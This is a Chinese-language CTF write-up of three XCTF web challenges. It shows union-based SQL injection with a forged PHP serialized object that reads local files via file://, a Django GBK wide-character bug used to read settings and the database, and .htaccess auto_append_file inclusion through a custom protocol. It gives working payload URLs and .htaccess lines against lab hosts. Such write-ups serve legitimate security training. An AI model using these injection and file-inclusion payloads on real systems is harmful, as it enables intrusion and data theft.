这里的序列化对象便与之前的获得到的user.php.bak 进行了对应 这里便是进行反序列化了class UserInfo{}类
最开始时的用户页面no=1时,页面返回用户的用户名、密码、博客之类的消息。毫无疑问,页面是根据users表中no=1的这条数据,渲染的页面。因为回显,我们只证明了查询语句的第二个字段是username。其余三个字段并不明确,但我们可以猜测,应该和数据库表中的字段顺序相似。第四个字段应该就是data,而我们现在有一个现成的data数据,能否模拟下?
http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:38:"https://zhuanlan.zhihu.com/p/161412754";}'# |
注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)
因此这里需要构造blog参数的内容
file:///var/www/html/flag.php |
原因是在源码中有blog的base64编码
<iframe width='100%' height='10em' src='data:text/html;base64,'> |
这里利用了File协议读取本地文件,使用PHP构造出payload
|
接着进行访问
http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"s";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'# |
得到base64加密文件
这里进行base64解密得到
|
也可以直接点击链接
后端django服务gbk编码导致宽字符绕过
打开发现一个ping命令输入127.0.0.1发现执行成功,推测可能是命令拼接,但是输入任何有关拼接的字符串会提示invalid url
写一个脚本测试一下过滤了哪些字符
import requests |
输入@发现在地址栏上@转换成了%40说明有编码转换
http://111.200.241.244:55466/index.php?url=%40 |
在url处输入宽字符,比如%bf
出现报错信息,将代码复制出来,使用浏览器打开
可以看到这是django的报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码的范围)
这里可以发现是通过post请求方式进行的而又根据之前@符号未进行过滤
这里还需要懂一些django开发的基本知识,我感觉这道题涉及的面有点广了,django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。
接着使用@访问这个文件
http://111.200.241.244:55466/index.php?url=@/opt/api/database.sqlite3 |
在响应中搜索ctf ,flag找到
攻防世界blgdel
目录扫描
打开看看
robots.txt下面发现config.txt文件打开后得到源码
|
./htaccess文件禁止访问,这里服务器使用了./htaccess文件,有可能与文件上传有关
有注册有登录还有个文件上传页面,但是文件上传页面需要登录才能访问这里直接注册一个登录进去试试
上传页面有
限制登录,这里发现在注册时
有一个推荐人,第一次注册时填的自己,给了十分,这里多注册几个有分在去访问upload试试
这里随便上传一个一句话查找一下图片地址,发现一个目录穿越漏洞
发现过滤了
接着上传.htaccess文件,并将内容改为
php_value auto_append_file master://search/path=%2fhome%2f&name=flag |
接着在上传php文件
然后访问这个文件
得到flag的名字hiahiahia_flag
在上传一个.htaccess文件
php_value auto_append_file /home/hiahiahia_flag |
在上传一个php文件,接着访问这个文件
首先进行目录扫描,搜到几个目录挨个访问得到了php源码,并发现了一个.htaccess文件,感觉像是文件上传漏洞的利用,经过简单的代码审计发现有上传点,并且有一个php协议的过滤.接着可以对本系统进行常规测试,发现没有注入,xss等常见漏洞,接着观察系统在基本功能要求之外的功能,即一个上传点(上传头像图片),和一个搜索点用于搜索以前的头像,在上传页面这里可以发现有权限问题,这里要注意前面注册时存在一个推荐人的地方,发现可以刷积分.
这里进入去文件上传发现会过滤php必要代码,也发现常见的伪协议都不能使用,但是新注册了一个master协议.根据上传文件得到了一个目录遍历漏洞,接着发现上传给每一个用户单独的目录.接着试着上传htaccess文件,其中可以写入php_value auto_prepend_file 1 这种语句,即通过上传漏洞,上传一个包含点上去,将上传漏洞变为上传+文件包含漏洞进行利用.而解饿和上传时pre为黑名单,可以想到此时的网站auto_prepend_file 为这个config.php,无法修改,无法替换增auto_prepend_file而使用php,zip等伪协议,所以接着考虑远程包含,和这个新注册的master协议,发现我们可以控制协议则可以给任意目录上传搜索文件,而协议流程和对象注入差不多,先是执行__construct,再是stream_open,upload/search,stream_read…主要是upload和search,其余方法都做l处理,而上传目录被限制了,但是我们可以通过目录遍历漏洞去找文件.
上传.htaccess,内容为php_value auto_prepend_file master://search/path={}&name={},此时注意 / 要替换为%2f,否则不能成功 接着在上传一个任意php文件,接着通过目录遍历漏洞访问.在payload为php_value auto_append_file master://search/path=%2fhome%2f&name=flag时,找到了hiahiahia_flag文件 此时在上传一个.htaccess,内容为php_value auto_append_file /home/haihaihai_flag就可以包含flag在访问php文件就可以看到falg